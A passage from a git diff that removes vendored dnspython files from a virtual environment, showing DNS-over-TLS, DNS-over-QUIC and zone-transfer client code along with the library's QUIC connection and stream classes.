"""Return the response obtained after sending a query via TLS. - - *q*, a ``dns.message.Message``, the query to send - - *where*, a ``str`` containing an IPv4 or IPv6 address, where - to send the message. - - *timeout*, a ``float`` or ``None``, the number of seconds to wait before the - query times out. If ``None``, the default, wait forever. - - *port*, an ``int``, the port send the message to. The default is 853. - - *source*, a ``str`` containing an IPv4 or IPv6 address, specifying - the source address. The default is the wildcard address. - - *source_port*, an ``int``, the port from which to send the message. - The default is 0. - - *one_rr_per_rrset*, a ``bool``. If ``True``, put each RR into its own - RRset. - - *ignore_trailing*, a ``bool``. If ``True``, ignore trailing - junk at end of the received message. - - *sock*, an ``ssl.SSLSocket``, or ``None``, the socket to use for - the query. If ``None``, the default, a socket is created. Note - that if a socket is provided, it must be a nonblocking connected - SSL stream socket, and *where*, *port*, *source*, *source_port*, - and *ssl_context* are ignored. - - *ssl_context*, an ``ssl.SSLContext``, the context to use when establishing - a TLS connection. If ``None``, the default, creates one with the default - configuration. - - *server_hostname*, a ``str`` containing the server's hostname. The - default is ``None``, which means that no hostname is known, and if an - SSL context is created, hostname checking will be disabled. - - *verify*, a ``bool`` or ``str``. If a ``True``, then TLS certificate verification - of the server is done using the default CA bundle; if ``False``, then no - verification is done; if a `str` then it specifies the path to a certificate file or - directory which will be used for verification. - - Returns a ``dns.message.Message``. - - """ - - if sock: - # - # If a socket was provided, there's no special TLS handling needed. - # - return tcp( - q, - where, - timeout, - port, - source, - source_port, - one_rr_per_rrset, - ignore_trailing, - sock, - ) - - wire = q.to_wire() - (begin_time, expiration) = _compute_times(timeout) - (af, destination, source) = _destination_and_source( - where, port, source, source_port, True - ) - assert af is not None # where must be an address - if ssl_context is None: - ssl_context = make_ssl_context(verify, server_hostname is not None, ["dot"]) - - with make_ssl_socket( - af, - socket.SOCK_STREAM, - ssl_context=ssl_context, - server_hostname=server_hostname, - source=source, - ) as s: - _connect(s, destination, expiration) - _tls_handshake(s, expiration) - send_tcp(s, wire, expiration) - (r, received_time) = receive_tcp( - s, expiration, one_rr_per_rrset, q.keyring, q.mac, ignore_trailing - ) - r.time = received_time - begin_time - if not q.is_response(r): - raise BadResponse - return r - assert ( - False # help mypy figure out we can't get here lgtm[py/unreachable-statement] - ) - - -def quic( - q: dns.message.Message, - where: str, - timeout: float | None = None, - port: int = 853, - source: str | None = None, - source_port: int = 0, - one_rr_per_rrset: bool = False, - ignore_trailing: bool = False, - connection: dns.quic.SyncQuicConnection | None = None, - verify: bool | str = True, - hostname: str | None = None, - server_hostname: str | None = None, -) -> dns.message.Message: - """Return the response obtained after sending a query via DNS-over-QUIC. - - *q*, a ``dns.message.Message``, the query to send. - - *where*, a ``str``, the nameserver IP address. - - *timeout*, a ``float`` or ``None``, the number of seconds to wait before the query - times out. If ``None``, the default, wait forever. - - *port*, a ``int``, the port to send the query to. The default is 853. - - *source*, a ``str`` containing an IPv4 or IPv6 address, specifying the source - address. The default is the wildcard address. - - *source_port*, an ``int``, the port from which to send the message. The default is - 0. - - *one_rr_per_rrset*, a ``bool``. If ``True``, put each RR into its own RRset. - - *ignore_trailing*, a ``bool``. If ``True``, ignore trailing junk at end of the - received message. - - *connection*, a ``dns.quic.SyncQuicConnection``. If provided, the connection to use - to send the query. - - *verify*, a ``bool`` or ``str``. If a ``True``, then TLS certificate verification - of the server is done using the default CA bundle; if ``False``, then no - verification is done; if a `str` then it specifies the path to a certificate file or - directory which will be used for verification. - - *hostname*, a ``str`` containing the server's hostname or ``None``. The default is - ``None``, which means that no hostname is known, and if an SSL context is created, - hostname checking will be disabled. This value is ignored if *url* is not - ``None``. - - *server_hostname*, a ``str`` or ``None``. This item is for backwards compatibility - only, and has the same meaning as *hostname*. - - Returns a ``dns.message.Message``. - """ - - if not dns.quic.have_quic: - raise NoDOQ("DNS-over-QUIC is not available.") # pragma: no cover - - if server_hostname is not None and hostname is None: - hostname = server_hostname - - q.id = 0 - wire = q.to_wire() - the_connection: dns.quic.SyncQuicConnection - the_manager: dns.quic.SyncQuicManager - if connection: - manager: contextlib.AbstractContextManager = contextlib.nullcontext(None) - the_connection = connection - else: - manager = dns.quic.SyncQuicManager( - verify_mode=verify, server_name=hostname # pyright: ignore - ) - the_manager = manager # for type checking happiness - - with manager: - if not connection: - the_connection = the_manager.connect( # pyright: ignore - where, port, source, source_port - ) - (start, expiration) = _compute_times(timeout) - with the_connection.make_stream(timeout) as stream: # pyright: ignore - stream.send(wire, True) - wire = stream.receive(_remaining(expiration)) - finish = time.time() - r = dns.message.from_wire( - wire, - keyring=q.keyring, - request_mac=q.request_mac, - one_rr_per_rrset=one_rr_per_rrset, - ignore_trailing=ignore_trailing, - ) - r.time = max(finish - start, 0.0) - if not q.is_response(r): - raise BadResponse - return r - - -class UDPMode(enum.IntEnum): - """How should UDP be used in an IXFR from :py:func:`inbound_xfr()`? - - NEVER means "never use UDP; always use TCP" - TRY_FIRST means "try to use UDP but fall back to TCP if needed" - ONLY means "raise ``dns.xfr.UseTCP`` if trying UDP does not succeed" - """ - - NEVER = 0 - TRY_FIRST = 1 - ONLY = 2 - - -def _inbound_xfr( - txn_manager: dns.transaction.TransactionManager, - s: socket.socket | ssl.SSLSocket, - query: dns.message.Message, - serial: int | None, - timeout: float | None, - expiration: float | None, -) -> Any: - """Given a socket, does the zone transfer.""" - rdtype = query.question[0].rdtype - is_ixfr = rdtype == dns.rdatatype.IXFR - origin = txn_manager.from_wire_origin() - wire = query.to_wire() - is_udp = isinstance(s, socket.socket) and s.type == socket.SOCK_DGRAM - if is_udp: - _udp_send(s, wire, None, expiration) - else: - tcpmsg = struct.pack("!H", len(wire)) + wire - _net_write(s, tcpmsg, expiration) - with dns.xfr.Inbound(txn_manager, rdtype, serial, is_udp) as inbound: - done = False - tsig_ctx = None - r: dns.message.Message | None = None - while not done: - (_, mexpiration) = _compute_times(timeout) - if mexpiration is None or ( - expiration is not None and mexpiration > expiration - ): - mexpiration = expiration - if is_udp: - (rwire, _) = _udp_recv(s, 65535, mexpiration) - else: - ldata = _net_read(s, 2, mexpiration) - (l,) = struct.unpack("!H", ldata) - rwire = _net_read(s, l, mexpiration) - r = dns.message.from_wire( - rwire, - keyring=query.keyring, - request_mac=query.mac, - xfr=True, - origin=origin, - tsig_ctx=tsig_ctx, - multi=(not is_udp), - one_rr_per_rrset=is_ixfr, - ) - done = inbound.process_message(r) - yield r - tsig_ctx = r.tsig_ctx - if query.keyring and r is not None and not r.had_tsig: - raise dns.exception.FormError("missing TSIG") - - -def xfr( - where: str, - zone: dns.name.Name | str, - rdtype: dns.rdatatype.RdataType | str = dns.rdatatype.AXFR, - rdclass: dns.rdataclass.RdataClass | str = dns.rdataclass.IN, - timeout: float | None = None, - port: int = 53, - keyring: Dict[dns.name.Name, dns.tsig.Key] | None = None, - keyname: dns.name.Name | str | None = None, - relativize: bool = True, - lifetime: float | None = None, - source: str | None = None, - source_port: int = 0, - serial: int = 0, - use_udp: bool = False, - keyalgorithm: dns.name.Name | str = dns.tsig.default_algorithm, -) -> Any: - """Return a generator for the responses to a zone transfer. - - *where*, a ``str`` containing an IPv4 or IPv6 address, where - to send the message. - - *zone*, a ``dns.name.Name`` or ``str``, the name of the zone to transfer. - - *rdtype*, an ``int`` or ``str``, the type of zone transfer. The - default is ``dns.rdatatype.AXFR``. ``dns.rdatatype.IXFR`` can be - used to do an incremental transfer instead. - - *rdclass*, an ``int`` or ``str``, the class of the zone transfer. - The default is ``dns.rdataclass.IN``. - - *timeout*, a ``float``, the number of seconds to wait for each - response message. If None, the default, wait forever. - - *port*, an ``int``, the port send the message to. The default is 53. - - *keyring*, a ``dict``, the keyring to use for TSIG. - - *keyname*, a ``dns.name.Name`` or ``str``, the name of the TSIG - key to use. - - *relativize*, a ``bool``. If ``True``, all names in the zone will be - relativized to the zone origin. It is essential that the - relativize setting matches the one specified to - ``dns.zone.from_xfr()`` if using this generator to make a zone. - - *lifetime*, a ``float``, the total number of seconds to spend - doing the transfer. If ``None``, the default, then there is no - limit on the time the transfer may take. - - *source*, a ``str`` containing an IPv4 or IPv6 address, specifying - the source address. The default is the wildcard address. - - *source_port*, an ``int``, the port from which to send the message. - The default is 0. - - *serial*, an ``int``, the SOA serial number to use as the base for - an IXFR diff sequence (only meaningful if *rdtype* is - ``dns.rdatatype.IXFR``). - - *use_udp*, a ``bool``. If ``True``, use UDP (only meaningful for IXFR). - - *keyalgorithm*, a ``dns.name.Name`` or ``str``, the TSIG algorithm to use. - - Raises on errors, and so does the generator. - - Returns a generator of ``dns.message.Message`` objects. - """ - - class DummyTransactionManager(dns.transaction.TransactionManager): - def __init__(self, origin, relativize): - self.info = (origin, relativize, dns.name.empty if relativize else origin) - - def origin_information(self): - return self.info - - def get_class(self) -> dns.rdataclass.RdataClass: - raise NotImplementedError # pragma: no cover - - def reader(self): - raise NotImplementedError # pragma: no cover - - def writer(self, replacement: bool = False) -> dns.transaction.Transaction: - class DummyTransaction: - def nop(self, *args, **kw): - pass - - def __getattr__(self, _): - return self.nop - - return cast(dns.transaction.Transaction, DummyTransaction()) - - if isinstance(zone, str): - zone = dns.name.from_text(zone) - rdtype = dns.rdatatype.RdataType.make(rdtype) - q = dns.message.make_query(zone, rdtype, rdclass) - if rdtype == dns.rdatatype.IXFR: - rrset = q.find_rrset( - q.authority, zone, dns.rdataclass.IN, dns.rdatatype.SOA, create=True - ) - soa = dns.rdata.from_text("IN", "SOA", f". . {serial} 0 0 0 0") - rrset.add(soa, 0) - if keyring is not None: - q.use_tsig(keyring, keyname, algorithm=keyalgorithm) - (af, destination, source) = _destination_and_source( - where, port, source, source_port, True - ) - assert af is not None - (_, expiration) = _compute_times(lifetime) - tm = DummyTransactionManager(zone, relativize) - if use_udp and rdtype != dns.rdatatype.IXFR: - raise ValueError("cannot do a UDP AXFR") - sock_type = socket.SOCK_DGRAM if use_udp else socket.SOCK_STREAM - with make_socket(af, sock_type, source) as s: - _connect(s, destination, expiration) - yield from _inbound_xfr(tm, s, q, serial, timeout, expiration) - - -def inbound_xfr( - where: str, - txn_manager: dns.transaction.TransactionManager, - query: dns.message.Message | None = None, - port: int = 53, - timeout: float | None = None, - lifetime: float | None = None, - source: str | None = None, - source_port: int = 0, - udp_mode: UDPMode = UDPMode.NEVER, -) -> None: - """Conduct an inbound transfer and apply it via a transaction from the - txn_manager. - - *where*, a ``str`` containing an IPv4 or IPv6 address, where - to send the message. - - *txn_manager*, a ``dns.transaction.TransactionManager``, the txn_manager - for this transfer (typically a ``dns.zone.Zone``). - - *query*, the query to send. If not supplied, a default query is - constructed using information from the *txn_manager*. - - *port*, an ``int``, the port send the message to. The default is 53. - - *timeout*, a ``float``, the number of seconds to wait for each - response message. If None, the default, wait forever. - - *lifetime*, a ``float``, the total number of seconds to spend - doing the transfer. If ``None``, the default, then there is no - limit on the time the transfer may take. - - *source*, a ``str`` containing an IPv4 or IPv6 address, specifying - the source address. The default is the wildcard address. - - *source_port*, an ``int``, the port from which to send the message. - The default is 0. - - *udp_mode*, a ``dns.query.UDPMode``, determines how UDP is used - for IXFRs. The default is ``dns.query.UDPMode.NEVER``, i.e. only use - TCP. Other possibilities are ``dns.query.UDPMode.TRY_FIRST``, which - means "try UDP but fallback to TCP if needed", and - ``dns.query.UDPMode.ONLY``, which means "try UDP and raise - ``dns.xfr.UseTCP`` if it does not succeed. - - Raises on errors. - """ - if query is None: - (query, serial) = dns.xfr.make_query(txn_manager) - else: - serial = dns.xfr.extract_serial_from_query(query) - - (af, destination, source) = _destination_and_source( - where, port, source, source_port, True - ) - assert af is not None - (_, expiration) = _compute_times(lifetime) - if query.question[0].rdtype == dns.rdatatype.IXFR and udp_mode != UDPMode.NEVER: - with make_socket(af, socket.SOCK_DGRAM, source) as s: - _connect(s, destination, expiration) - try: - for _ in _inbound_xfr( - txn_manager, s, query, serial, timeout, expiration - ): - pass - return - except dns.xfr.UseTCP: - if udp_mode == UDPMode.ONLY: - raise - - with make_socket(af, socket.SOCK_STREAM, source) as s: - _connect(s, destination, expiration) - for _ in _inbound_xfr(txn_manager, s, query, serial, timeout, expiration): - pass diff --git a/venv/Lib/site-packages/dns/quic/__init__.py b/venv/Lib/site-packages/dns/quic/__init__.py deleted file mode 100644 index 7c2a699caf86916aa56eebff61797ec652baa989..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/dns/quic/__init__.py +++ /dev/null @@ -1,78 +0,0 @@ -# Copyright (C) Dnspython Contributors, see LICENSE for text of ISC license - -from typing import Any, Dict, List, Tuple - -import dns._features -import dns.asyncbackend - -if dns._features.have("doq"): - from dns._asyncbackend import NullContext - from dns.quic._asyncio import AsyncioQuicConnection as AsyncioQuicConnection - from dns.quic._asyncio import AsyncioQuicManager - from dns.quic._asyncio import AsyncioQuicStream as AsyncioQuicStream - from dns.quic._common import AsyncQuicConnection # pyright: ignore - from dns.quic._common import AsyncQuicManager as AsyncQuicManager - from dns.quic._sync import SyncQuicConnection # pyright: ignore - from dns.quic._sync import SyncQuicStream # pyright: ignore - from dns.quic._sync import SyncQuicManager as SyncQuicManager - - have_quic = True - - def null_factory( - *args, # pylint: disable=unused-argument - **kwargs, # pylint: disable=unused-argument - ): - return NullContext(None) - - def _asyncio_manager_factory( - context, *args, **kwargs # pylint: disable=unused-argument - ): - return AsyncioQuicManager(*args, **kwargs) - - # We have a context factory and a manager factory as for trio we need to have - # a nursery. - - _async_factories: Dict[str, Tuple[Any, Any]] = { - "asyncio": (null_factory, _asyncio_manager_factory) - } - - if dns._features.have("trio"): - import trio - - # pylint: disable=ungrouped-imports - from dns.quic._trio import TrioQuicConnection as TrioQuicConnection - from dns.quic._trio import TrioQuicManager - from dns.quic._trio import TrioQuicStream as TrioQuicStream - - def _trio_context_factory(): - return trio.open_nursery() - - def _trio_manager_factory(context, *args, **kwargs): - return TrioQuicManager(context, *args, **kwargs) - - _async_factories["trio"] = (_trio_context_factory, _trio_manager_factory) - - def factories_for_backend(backend=None): - if backend is None: - backend = dns.asyncbackend.get_default_backend() - return _async_factories[backend.name()] - -else: # pragma: no cover - have_quic = False - - class AsyncQuicStream: # type: ignore - pass - - class AsyncQuicConnection: # type: ignore - async def make_stream(self) -> Any: - raise NotImplementedError - - class SyncQuicStream: # type: ignore - pass - - class SyncQuicConnection: # type: ignore - def make_stream(self) -> Any: - raise NotImplementedError - - -Headers = List[Tuple[bytes, bytes]] diff --git a/venv/Lib/site-packages/dns/quic/_asyncio.py b/venv/Lib/site-packages/dns/quic/_asyncio.py deleted file mode 100644 index 0a177b676e2ee4925d3207e172186fcb95d3e28e..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/dns/quic/_asyncio.py +++ /dev/null @@ -1,276 +0,0 @@ -# Copyright (C) Dnspython Contributors, see LICENSE for text of ISC license - -import asyncio -import socket -import ssl -import struct -import time - -import aioquic.h3.connection # type: ignore -import aioquic.h3.events # type: ignore -import aioquic.quic.configuration # type: ignore -import aioquic.quic.connection # type: ignore -import aioquic.quic.events # type: ignore - -import dns.asyncbackend -import dns.exception -import dns.inet -from dns.quic._common import ( - QUIC_MAX_DATAGRAM, - AsyncQuicConnection, - AsyncQuicManager, - BaseQuicStream, - UnexpectedEOF, -) - - -class AsyncioQuicStream(BaseQuicStream): - def __init__(self, connection, stream_id): - super().__init__(connection, stream_id) - self._wake_up = asyncio.Condition() - - async def _wait_for_wake_up(self): - async with self._wake_up: - await self._wake_up.wait() - - async def wait_for(self, amount, expiration): - while True: - timeout = self._timeout_from_expiration(expiration) - if self._buffer.have(amount): - return - self._expecting = amount - try: - await asyncio.wait_for(self._wait_for_wake_up(), timeout) - except TimeoutError: - raise dns.exception.Timeout - self._expecting = 0 - - async def wait_for_end(self, expiration): - while True: - timeout = self._timeout_from_expiration(expiration) - if self._buffer.seen_end(): - return - try: - await asyncio.wait_for(self._wait_for_wake_up(), timeout) - except TimeoutError: - raise dns.exception.Timeout - - async def receive(self, timeout=None): - expiration = self._expiration_from_timeout(timeout) - if self._connection.is_h3(): - await self.wait_for_end(expiration) - return self._buffer.get_all() - else: - await self.wait_for(2, expiration) - (size,) = struct.unpack("!H", self._buffer.get(2)) - await self.wait_for(size, expiration) - return self._buffer.get(size) - - async def send(self, datagram, is_end=False): - data = self._encapsulate(datagram) - await self._connection.write(self._stream_id, data, is_end) - - async def _add_input(self, data, is_end): - if self._common_add_input(data, is_end): - async with self._wake_up: - self._wake_up.notify() - - async def close(self): - self._close() - - # Streams are async context managers - - async def __aenter__(self): - return self - - async def __aexit__(self, exc_type, exc_val, exc_tb): - await self.close() - async with self._wake_up: - self._wake_up.notify() - return False - - -class AsyncioQuicConnection(AsyncQuicConnection): - def __init__(self, connection, address, port, source, source_port, manager=None): - super().__init__(connection, address, port, source, source_port, manager) - self._socket = None - self._handshake_complete = asyncio.Event() - self._socket_created = asyncio.Event() - self._wake_timer = asyncio.Condition() - self._receiver_task = None - self._sender_task = None - self._wake_pending = False - - async def _receiver(self): - try: - af = dns.inet.af_for_address(self._address) - backend = dns.asyncbackend.get_backend("asyncio") - # Note that peer is a low-level address tuple, but make_socket() wants - # a high-level address tuple, so we convert. - self._socket = await backend.make_socket( - af, socket.SOCK_DGRAM, 0, self._source, (self._peer[0], self._peer[1]) - ) - self._socket_created.set() - async with self._socket: - while not self._done: - (datagram, address) = await self._socket.recvfrom( - QUIC_MAX_DATAGRAM, None - ) - if address[0] != self._peer[0] or address[1] != self._peer[1]: - continue - self._connection.receive_datagram(datagram, address, time.time()) - # Wake up the timer in case the sender is sleeping, as there may be - # stuff to send now. - await self._wakeup() - except Exception: - pass - finally: - self._done = True - await self._wakeup() - self._handshake_complete.set() - - async def _wakeup(self): - self._wake_pending = True - async with self._wake_timer: - self._wake_timer.notify_all() - - async def _wait_for_wake_timer(self): - async with self._wake_timer: - if not self._wake_pending: - await self._wake_timer.wait() - self._wake_pending = False - - async def _sender(self): - await self._socket_created.wait() - while not self._done: - datagrams = self._connection.datagrams_to_send(time.time()) - for datagram, address in datagrams: - assert address == self._peer - assert self._socket is not None - await self._socket.sendto(datagram, self._peer, None) - (expiration, interval) = self._get_timer_values() - try: - await asyncio.wait_for(self._wait_for_wake_timer(), interval) - except Exception: - pass - self._handle_timer(expiration) - await self._handle_events() - - async def _handle_events(self): - count = 0 - while True: - event = self._connection.next_event() - if event is None: - return - if isinstance(event, aioquic.quic.events.StreamDataReceived): - if self.is_h3(): - assert self._h3_conn is not None - h3_events = self._h3_conn.handle_event(event) - for h3_event in h3_events: - if isinstance(h3_event, aioquic.h3.events.HeadersReceived): - stream = self._streams.get(event.stream_id) - if stream: - if stream._headers is None: - stream._headers = h3_event.headers - elif stream._trailers is None: - stream._trailers = h3_event.headers - if h3_event.stream_ended: - await stream._add_input(b"", True) - elif isinstance(h3_event, aioquic.h3.events.DataReceived): - stream = self._streams.get(event.stream_id) - if stream: - await stream._add_input( - h3_event.data, h3_event.stream_ended - ) - else: - stream = self._streams.get(event.stream_id) - if stream: - await stream._add_input(event.data, event.end_stream) - elif isinstance(event, aioquic.quic.events.HandshakeCompleted): - self._handshake_complete.set() - elif isinstance(event, aioquic.quic.events.ConnectionTerminated): - self._done = True - if self._receiver_task is not None: - self._receiver_task.cancel() - elif isinstance(event, aioquic.quic.events.StreamReset): - stream = self._streams.get(event.stream_id) - if stream: - await stream._add_input(b"", True) - - count += 1 - if count > 10: - # yield - count = 0 - await asyncio.sleep(0) - - async def write(self, stream, data, is_end=False): - self._connection.send_stream_data(stream, data, is_end) - await self._wakeup() - - def run(self): - if self._closed: - return - self._receiver_task = asyncio.Task(self._receiver()) - self._sender_task = asyncio.Task(self._sender()) - - async def make_stream(self, timeout=None): - try: - await asyncio.wait_for(self._handshake_complete.wait(), timeout) - except TimeoutError: - raise dns.exception.Timeout - if self._done: - raise UnexpectedEOF - stream_id = self._connection.get_next_available_stream_id(False) - stream = AsyncioQuicStream(self, stream_id) - self._streams[stream_id] = stream - return stream - - async def close(self): - if not self._closed: - if self._manager is not None: - self._manager.closed(self._peer[0], self._peer[1]) - self._closed = True - self._connection.close() - # sender might be blocked on this, so set it - self._socket_created.set() - await self._wakeup() - try: - if self._receiver_task is not None: - await self._receiver_task - except asyncio.CancelledError: - pass - try: - if self._sender_task is not None: - await self._sender_task - except asyncio.CancelledError: - pass - if self._socket is not None: - await self._socket.close() - - -class AsyncioQuicManager(AsyncQuicManager): - def __init__( - self, conf=None, verify_mode=ssl.CERT_REQUIRED, server_name=None, h3=False - ): - super().__init__(conf, verify_mode, AsyncioQuicConnection, server_name, h3) - - def connect( - self, address, port=853, source=None, source_port=0, want_session_ticket=True - ): - (connection, start) = self._connect( - address, port, source, source_port, want_session_ticket - ) - if start: - connection.run() - return connection - - async def __aenter__(self): - return self - - async def __aexit__(self, exc_type, exc_val, exc_tb): - # Copy the iterator into a list as exiting things will mutate the connections - # table. - connections = list(self._connections.values()) - for connection in connections: - await connection.close() - return False diff --git a/venv/Lib/site-packages/dns/quic/_common.py b/venv/Lib/site-packages/dns/quic/_common.py deleted file mode 100644 index ba9d2454427f08c356cebf49981a5135d922a5eb..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/dns/quic/_common.py +++ /dev/null @@ -1,344 +0,0 @@ -# Copyright (C) Dnspython Contributors, see LICENSE for text of ISC license - -import base64 -import copy -import functools -import socket -import struct -import time -import urllib.parse -from typing import Any - -import aioquic.h3.connection # type: ignore -import aioquic.quic.configuration # type: ignore -import aioquic.quic.connection # type: ignore - -import dns._tls_util -import dns.inet - -QUIC_MAX_DATAGRAM = 2048 -MAX_SESSION_TICKETS = 8 -# If we hit the max sessions limit we will delete this many of the oldest connections. -# The value must be a integer > 0 and <= MAX_SESSION_TICKETS. -SESSIONS_TO_DELETE = MAX_SESSION_TICKETS // 4 - - -class UnexpectedEOF(Exception): - pass - - -class Buffer: - def __init__(self): - self._buffer = b"" - self._seen_end = False - - def put(self, data, is_end): - if self._seen_end: - return - self._buffer += data - if is_end: - self._seen_end = True - - def have(self, amount): - if len(self._buffer) >= amount: - return True - if self._seen_end: - raise UnexpectedEOF - return False - - def seen_end(self): - return self._seen_end - - def get(self, amount): - assert self.have(amount) - data = self._buffer[:amount] - self._buffer = self._buffer[amount:] - return data - - def get_all(self): - assert self.seen_end() - data = self._buffer - self._buffer = b"" - return data - - -class BaseQuicStream: - def __init__(self, connection, stream_id): - self._connection = connection - self._stream_id = stream_id - self._buffer = Buffer() - self._expecting = 0 - self._headers = None - self._trailers = None - - def id(self): - return self._stream_id - - def headers(self): - return self._headers - - def trailers(self): - return self._trailers - - def _expiration_from_timeout(self, timeout): - if timeout is not None: - expiration = time.time() + timeout - else: - expiration = None - return expiration - - def _timeout_from_expiration(self, expiration): - if expiration is not None: - timeout = max(expiration - time.time(), 0.0) - else: - timeout = None - return timeout - - # Subclass must implement receive() as sync / async and which returns a message - # or raises. - - # Subclass must implement send() as sync / async and which takes a message and - # an EOF indicator. - - def send_h3(self, url, datagram, post=True): - if not self._connection.is_h3(): - raise SyntaxError("cannot send H3 to a non-H3 connection") - url_parts = urllib.parse.urlparse(url) - path = url_parts.path.encode() - if post: - method = b"POST" - else: - method = b"GET" - path += b"?dns=" + base64.urlsafe_b64encode(datagram).rstrip(b"=") - headers = [ - (b":method", method), - (b":scheme", url_parts.scheme.encode()), - (b":authority", url_parts.netloc.encode()), - (b":path", path), - (b"accept", b"application/dns-message"), - ] - if post: - headers.extend( - [ - (b"content-type", b"application/dns-message"), - (b"content-length", str(len(datagram)).encode()), - ] - ) - self._connection.send_headers(self._stream_id, headers, not post) - if post: - self._connection.send_data(self._stream_id, datagram, True) - - def _encapsulate(self, datagram): - if self._connection.is_h3(): - return datagram - l = len(datagram) - return struct.pack("!H", l) + datagram - - def _common_add_input(self, data, is_end): - self._buffer.put(data, is_end) - try: - return ( - self._expecting > 0 and self._buffer.have(self._expecting) - ) or self._buffer.seen_end - except UnexpectedEOF: - return True - - def _close(self): - self._connection.close_stream(self._stream_id) - self._buffer.put(b"", True) # send EOF in case we haven't seen it. - - -class BaseQuicConnection: - def __init__( - self, - connection, - address, - port, - source=None, - source_port=0, - manager=None, - ): - self._done = False - self._connection = connection - self._address = address - self._port = port - self._closed = False - self._manager = manager - self._streams = {} - if manager is not None and manager.is_h3(): - self._h3_conn = aioquic.h3.connection.H3Connection(connection, False) - else: - self._h3_conn = None - self._af = dns.inet.af_for_address(address) - self._peer = dns.inet.low_level_address_tuple((address, port)) - if source is None and source_port != 0: - if self._af == socket.AF_INET: - source = "0.0.0.0" - elif self._af == socket.AF_INET6: - source = "::" - else: - raise NotImplementedError - if source: - self._source = (source, source_port) - else: - self._source = None - - def is_h3(self): - return self._h3_conn is not None - - def close_stream(self, stream_id): - del self._streams[stream_id] - - def send_headers(self, stream_id, headers, is_end=False): - assert self._h3_conn is not None - self._h3_conn.send_headers(stream_id, headers, is_end) - - def send_data(self, stream_id, data, is_end=False): - assert self._h3_conn is not None - self._h3_conn.send_data(stream_id, data, is_end) - - def _get_timer_values(self, closed_is_special=True): - now = time.time() - expiration = self._connection.get_timer() - if expiration is None: - expiration = now + 3600 # arbitrary "big" value - interval = max(expiration - now, 0) - if self._closed and closed_is_special: - # lower sleep interval to avoid a race in the closing process - # which can lead to higher latency closing due to sleeping when - # we have events. - interval = min(interval, 0.05) - return (expiration, interval) - - def _handle_timer(self, expiration): - now = time.time() - if expiration <= now: - self._connection.handle_timer(now) - - -class AsyncQuicConnection(BaseQuicConnection): - async def make_stream(self, timeout: float | None = None) -> Any: - pass - - -class BaseQuicManager: - def __init__( - self, conf, verify_mode, connection_factory, server_name=None, h3=False - ): - self._connections = {} - self._connection_factory = connection_factory - self._session_tickets = {} - self._tokens = {} - self._h3 = h3 - if conf is None: - verify_path = None - if isinstance(verify_mode, str): - verify_path = verify_mode - verify_mode = True - if h3: - alpn_protocols = ["h3"] - else: - alpn_protocols = ["doq", "doq-i03"] - conf = aioquic.quic.configuration.QuicConfiguration( - alpn_protocols=alpn_protocols, - verify_mode=verify_mode, - server_name=server_name, - ) - if verify_path is not None: - cafile, capath = dns._tls_util.convert_verify_to_cafile_and_capath( - verify_path - ) - conf.load_verify_locations(cafile=cafile, capath=capath) - self._conf = conf - - def _connect( - self, - address, - port=853, - source=None, - source_port=0, - want_session_ticket=True, - want_token=True, - ): - connection = self._connections.get((address, port)) - if connection is not None: - return (connection, False) - conf = self._conf - if want_session_ticket: - try: - session_ticket = self._session_tickets.pop((address, port)) - # We found a session ticket, so make a configuration that uses it. - conf = copy.copy(conf) - conf.session_ticket = session_ticket - except KeyError: - # No session ticket. - pass - # Whether or not we found a session ticket, we want a handler to save - # one. - session_ticket_handler = functools.partial( - self.save_session_ticket, address, port - ) - else: - session_ticket_handler = None - if want_token: - try: - token = self._tokens.pop((address, port)) - # We found a token, so make a configuration that uses it. - conf = copy.copy(conf) - conf.token = token - except KeyError: - # No token - pass - # Whether or not we found a token, we want a handler to save # one. - token_handler = functools.partial(self.save_token, address, port) - else: - token_handler = None - - qconn = aioquic.quic.connection.QuicConnection( - configuration=conf, - session_ticket_handler=session_ticket_handler, - token_handler=token_handler, - ) - lladdress = dns.inet.low_level_address_tuple((address, port)) - qconn.connect(lladdress, time.time()) - connection = self._connection_factory( - qconn, address, port, source, source_port, self - ) - self._connections[(address, port)] = connection - return (connection, True) - - def closed(self, address, port): - try: - del self._connections[(address, port)] - except KeyError: - pass - - def is_h3(self): - return self._h3 - - def save_session_ticket(self, address, port, ticket): - # We rely on dictionaries keys() being in insertion order here. We - # can't just popitem() as that would be LIFO which is the opposite of - # what we want. - l = len(self._session_tickets) - if l >= MAX_SESSION_TICKETS: - keys_to_delete = list(self._session_tickets.keys())[0:SESSIONS_TO_DELETE] - for key in keys_to_delete: - del self._session_tickets[key] - self._session_tickets[(address, port)] = ticket - - def save_token(self, address, port, token): - # We rely on dictionaries keys() being in insertion order here. We - # can't just popitem() as that would be LIFO which is the opposite of - # what we want. - l = len(self._tokens) - if l >= MAX_SESSION_TICKETS: - keys_to_delete = list(self._tokens.keys())[0:SESSIONS_TO_DELETE] - for key in keys_to_delete: - del self._tokens[key] - self._tokens[(address, port)] = token - - -class AsyncQuicManager(BaseQuicManager): - def connect(self, address, port=853, source=None, source_port=0): - raise NotImplementedError diff --git a/venv/Lib/site-packages/dns/quic/_sync.py b/venv/Lib/site-packages/dns/quic/_sync.py deleted file mode 100644 index 18f9d05bb332fad67ccdcd01d8632861224d8d87..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/dns/quic/_sync.py +++ /dev/null @@ -1,306 +0,0 @@ -# Copyright (C) Dnspython Contributors, see LICENSE for text of ISC license - -import selectors -import socket -import ssl -import struct -import threading -import time - -import aioquic.h3.connection # type: ignore -import aioquic.h3.events # type: ignore -import aioquic.quic.configuration # type: ignore -import aioquic.quic.connection # type: ignore -import aioquic.quic.events # type: ignore - -import dns.exception -import dns.inet -from dns.quic._common import ( - QUIC_MAX_DATAGRAM, - BaseQuicConnection, - BaseQuicManager, - BaseQuicStream, - UnexpectedEOF, -) - -# Function used to create a socket. Can be overridden if needed in special -# situations. -socket_factory = socket.socket - - -class SyncQuicStream(BaseQuicStream): - def __init__(self, connection, stream_id): - super().__init__(connection, stream_id) - self._wake_up = threading.Condition() - self._lock = threading.Lock() - - def wait_for(self, amount, expiration): - while True: - timeout = self._timeout_from_expiration(expiration) - with self._lock: - if self._buffer.have(amount): - return - self._expecting = amount - with self._wake_up: - if not self._wake_up.wait(timeout): - raise dns.exception.Timeout - self._expecting = 0 - - def wait_for_end(self, expiration): - while True: - timeout = self._timeout_from_expiration(expiration) - with self._lock: - if self._buffer.seen_end(): - return - with self._wake_up: - if not self._wake_up.wait(timeout): - raise dns.exception.Timeout - - def receive(self, timeout=None): - expiration 